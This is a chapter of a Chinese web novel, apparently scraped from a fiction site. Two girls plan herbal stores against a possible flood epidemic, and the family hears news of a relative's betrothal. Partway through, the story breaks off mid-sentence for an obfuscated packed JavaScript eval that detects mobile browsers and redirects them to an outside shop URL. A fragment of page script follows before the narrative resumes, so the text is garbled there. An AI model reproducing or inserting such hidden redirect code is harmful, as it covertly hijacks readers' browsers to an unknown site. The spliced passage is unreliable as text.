文趣网 > 其他小说 > 哥哥们求我别卷了 > 75.婚事已定
    继续往上走,到了小溪边,山月仔细把手洗了个干净,又将手正反在屁股后面擦了两把,迎面就对上海棠不满的眼神。

    “咋又往衣服上擦?”

    “嘿嘿,习惯了!”

    这可不是山月说假话,自从上班开始,上至院长,下至实习生,洗完手以后都是统一的擦干动作,已经形成肌肉记忆了,柳含茵说了她好多回,依旧改不了。

    经过刚才那么一闹,小姐俩都有些累了,正好趁着人少,在溪边坐一会,歇歇。

    “海棠姐!”缓了一会,山月很想跟海棠分享一下昨天得到的消息,敬海棠的爹就是大夫,没准她也能知道灾后防疫的一些事。

    “你说,要是明年真有水灾的话,灾后万一有疫情,可咋整?”

    海棠看看山月,“你还真把那老头的话当真了?”

    “万一呢,咱们提前做些准备,有备无患嘛!”

    海棠低头琢磨了一会,“你说的也对,可是咱们这边,打我记事起就没见过水灾,不过我爹说过,那年南方水灾,正好又碰上军粮案,死的人老多了,后来就有了疫情,当时的县官一看控制不住了,没了的人,都烧了,那会药材铺都被抢空了,好多其他病的病患,没有药,也都没挺过去。”

    这样看来,提前做些准备,还是很有必要的。

    “咱们偷偷准备起来呗,不过,我看我爹娘都不太信这个,所以咱们只能准备点不用花钱的东西,还不能太显眼。”山月盘算着。

    “这个好说,咱们现在每天都能上山,要是能碰着以后用得着的药材,咱们就多采点,如果有能移植的,正好房后那片空地,咱们不还有株黄芪呢,咱们就把那片地都种上药材,再让沈大叔把那片地围上篱笆,最外面种上点菜,保管谁都发现不了。”

    海棠这时候就发挥作用了,开始给山月一一列举有可能用得到的药材。

    “艾蒿可以熏烟;石菖蒲切片放到水里,可以辟水中秽毒;苍术,一般向阳的山坡上就有,白芷长在阴坡上,如果真有人或者动物死了,把这两种药材放在一起,点着了熏烟,能防秽气,当年水灾,我爹他们就用的这个法子!”

    “紫苏治腹泻,茅草根解水毒,金银花治热病,鱼腥草治痢疾......”

    海棠说的头头是道,山月听的一脸敬佩,“海棠姐,你可太牛了,我真是捡到宝了!”

    山月满脸崇拜的看着她,倒是把海棠羞红了脸,“这也没啥,天天给我爹抓药,看也看会了。”

    两个小女孩说定了,便开始没有有意无意的往家采摘药材,当然了,药材也不是那么容易就碰得到的,山前山后几个村里都挨着这座山,有勤快的采药人就会把药材采摘干净,不过好在山月她们需要的药材不是什么值钱的东西,基本上每次上山都能有点收获,甚至还偷偷的挖了几株完整的药材,跟庙后的黄芪种在一起。

    临近中午回家,山月和海棠把今天捡到的蘑菇摆好,晾干,等彻底干透了,就用针线将蘑菇穿成串,留着冬天的时候吃。

    陆猎户他们几个挖排水沟的也歇了,这不是一天的活,每天挖一点,积少成多。

    中午吃饭的时候,外婆和柳含茵就开始安排下午的工作。

    山月手捧着饭碗,大橘在脚下穿来穿去,不停的蹭着她大腿,山月便趁柳含茵不注意的时候,偷偷将碗里的饭,掉一些下去给大橘吃,大橘也聪明,吃了几口,便心满意足的“喵喵”回应小主人几声,然后就自顾自的出门去了。

    “这两天雨开始多了,娘,怀远,下午咱们把那柴火垛搭个顶棚,要不过些天雨大了,那柴火就全泡了。”

    外婆应了一声,随即想到什么,开口道:“对了,咱们那个水井,我觉得也得搭个棚子,别让雨潲进去。”

    柳含茵点点头,院里的水井原本有个盖子,平时不打水的时候都是盖着的,但是这样也依旧难免会有灰尘和雨水落进去,怕水不干净,柳含茵和外婆从不允许沈家人喝生水。

    “月儿,你跟海棠下午把菜接着洗出来,晾干了,娘明天要腌酱菜。”

    “娘,别忘了,再腌点咸鸡蛋!”

    柳含茵笑着应了。

    沈守拙去年搭火炕的时候,有的人家银钱不趁手,便拿鸡顶账,因此今年家里鸡窝里的鸡不少,家里鸡蛋不但够吃了,还能有些富裕,柳含茵不想把鸡蛋卖了,又怕鸡蛋坏了,于是便决定腌些鸡蛋来吃,清明那会腌了一缸,送去张家一些,张亦安很喜欢,山月便时不时的送过去一些,这些日子再看,缸已经见了底,需要再腌一些。

    刚刚吃过饭,陆猎户带着陆骁就过来了,“天要热起来了,我怕茅房长蛆,我刚刚撒了石灰,这会全是灰,想去茅房的话,过一会再去。”

    柳含茵笑着起身,“还是陆大哥你想的细。”

    山月却一下子抓住了重点,“陆大叔,咱们这有石灰?”

    陆猎户点了点头,“镇上就有卖的,咋,你要用?那玩意可不能玩,沾上水就烧手,你这小手,能给你烧掉块皮去。”

    山月摇摇头,心里却在盘算着另一件事,有石灰好啊,要是真有水灾,石灰可是能发挥大作用的。

    见山月也不说话,陆骁走过来拍拍她肩膀,“月儿,下午没事了,我找你玩啊!”

    “我得洗菜,还得刷鸡蛋。”

    陆骁自来熟般,拽过一把椅子,坐到山月旁边,“那我跟你一起洗。”

    自从沈家人搬了过来,陆骁便天天长在后院,家里什么东西放在哪,他也门儿清,于是山月便指挥着陆骁,帮着把原本放在墙角的陶缸搬过来,放到水井边上,方便一会冲洗。

    陶缸虽小,也有成人大腿高,一个成人搬起来也有些费力,可陆骁自己,默默的走到墙角,用手试探了一下,接着搓了搓手,一发力,竟也能把水缸抱了起来,柳含茵老远看见,忙不迭的跑过来帮忙。

    “哎呀,这孩子,你搬不动,快放着,婶子来!”

    陆骁抱着走了几步,就被柳含茵拦下,随后,两人一人拎着一个缸沿儿,将缸抬到了水井边。

    “真没看出来,陆骁还真有劲儿!”外婆远远的夸着。

    山月看着刚才那一幕,也跟着夸奖,“小哥,你现在可真厉害,照这么下去,用不了两年,家里的活,你就都能干了。”

    陆骁被夸的有些洋洋得意,“家里这活不算啥,我师傅说,我现在射箭可准了,以后进山,要让我试试呢。”

    最近忙着种地,陆猎户有些日子没进山了,可是盯陆骁和柳怀远射箭,却盯的很严格,陆骁自小就学,这不必讲,更让人惊讶的是柳怀远,胳膊有劲儿,准头也足,陆猎户当着沈守拙和柳含茵,夸过好几次。

    井里水凉,陆骁先从水井里打出水,倒进大盆,放在院里子晾着,等一会水不冰手了,山月和海棠才

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17857288|204754||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    开始陆续的洗菜,刷鸡蛋,顺带着将缸刷出来。

    沈守拙和柳含茵疼孩子,但是从不惯孩子,因此沈家的这几个孩子,家里家外的活,都会干,包括山月。刚上山那会,心疼她身体刚刚恢复,有些活舍不得交给她,可慢慢的,山月身体无碍了,也就开始跟着哥哥们一起,把家务活又捡起来了。

    大家正忙的热火朝天的,沈守拙回来了。

    “守拙,吃饭了没?”已经过了晌午,又是给杜大夫家去帮忙,按道理讲,杜家是没有理由让他空着肚子回家的。

    “吃了,杜家嫂子给贴的饼子。”沈守拙蹲在山月旁边,就着她洗过菜的水,把手洗了洗,甩了两下,进屋了,等再出来,已经把外衣脱掉,只穿着单衣,伸手把外婆手里的活接了过来,开始给柴火垛搭起顶棚来了。

    “咋这晚才回来?”柳含茵递给他两根木棍,又给了几根钉子,沈守拙就开始给柴火垛钉围栏。

    “那个啥,回来的时候,路过老宅,被爹喊进去说了会话。”沈守拙脸上有了些笑意,挑着眉对柳含茵说,“小梅定人家了!”

    “啊?”

    “啊?谁家啊?”

    这可是个大消息,几个人纷纷放下手里的活,围了过来,山月更是心急,忙跑过去听。

    沈小梅的这个亲事起起伏伏,柳含茵便一下子想到了沈家人相中的宋家,“可是宋家?”

    沈守拙摇了摇头,故意卖弄玄虚,“再猜!”

    山月却心急了,“哎呀,爹,你快说吧!”

    沈守拙一见小闺女急得鼻子上都挂了汗,伸手在山月鼻子上刮了一下,笑着说,“是王家村,王秀才他弟弟,王清源!”

    竟是成了!

    山月心下一松,随即又高兴起来,是由衷的为沈小梅高兴。

    “咋会是王家啊?之前一点动静都没有啊!”柳含茵惊的合不拢嘴。

    “这事说来也稀奇,上午刚有一家来说亲的,爹娘原本还想着商量商量再定,没成想,晚上的时候,王家来人了,上来就是提亲,连相看都不用,而且彩礼还是随咱们家提,那可是去年考中的秀才家啊,说是说亲的这个王清源,读书读的也好,也要下场去考试了。”

    外婆听完不禁也替沈小梅高兴,“这王家可真是好人家,就兄弟俩,还都是读书人,小梅嫁过去,没那么多麻烦事。”

    “按道理说,王家这可是顶顶好的人家了,怎么能相中咱们小梅呢?”柳含茵还保留着一丝理智,“别跟燕子那亲事似的,有啥猫腻吧!”

    沈守拙把声音压了一下,往柳含茵耳边凑了凑,“听娘说,这王秀才她娘,不知怎的,突然去上香,说是得了披萨指点,有个八字的女孩旺他儿子,而且就得昨天办,晚一点,这缘分就尽了。王秀才他娘连忙去找了媒婆,正好咱爹前些日子带着小梅的八字去过,媒婆两下一对,正好就对上了,这不,王家人赶忙上了咱们这,结果一见小梅,人也相中了,当即就把婚事定下来了。”

    柳含茵听的迷迷糊糊,“还有这种事,这也太离奇了。”

    山月一颗心终于放进肚子里,感到难得的轻松。

    “唉!可也有麻烦事。”沈守拙叹了口气。

    众人目光又重新回到他身上,“谈到成亲的日子,两家没谈拢,爹娘的意思是让小梅收完小麦再嫁过去,王家的意思是等不了,要先让小梅先嫁过去,好好的事,卡住了。”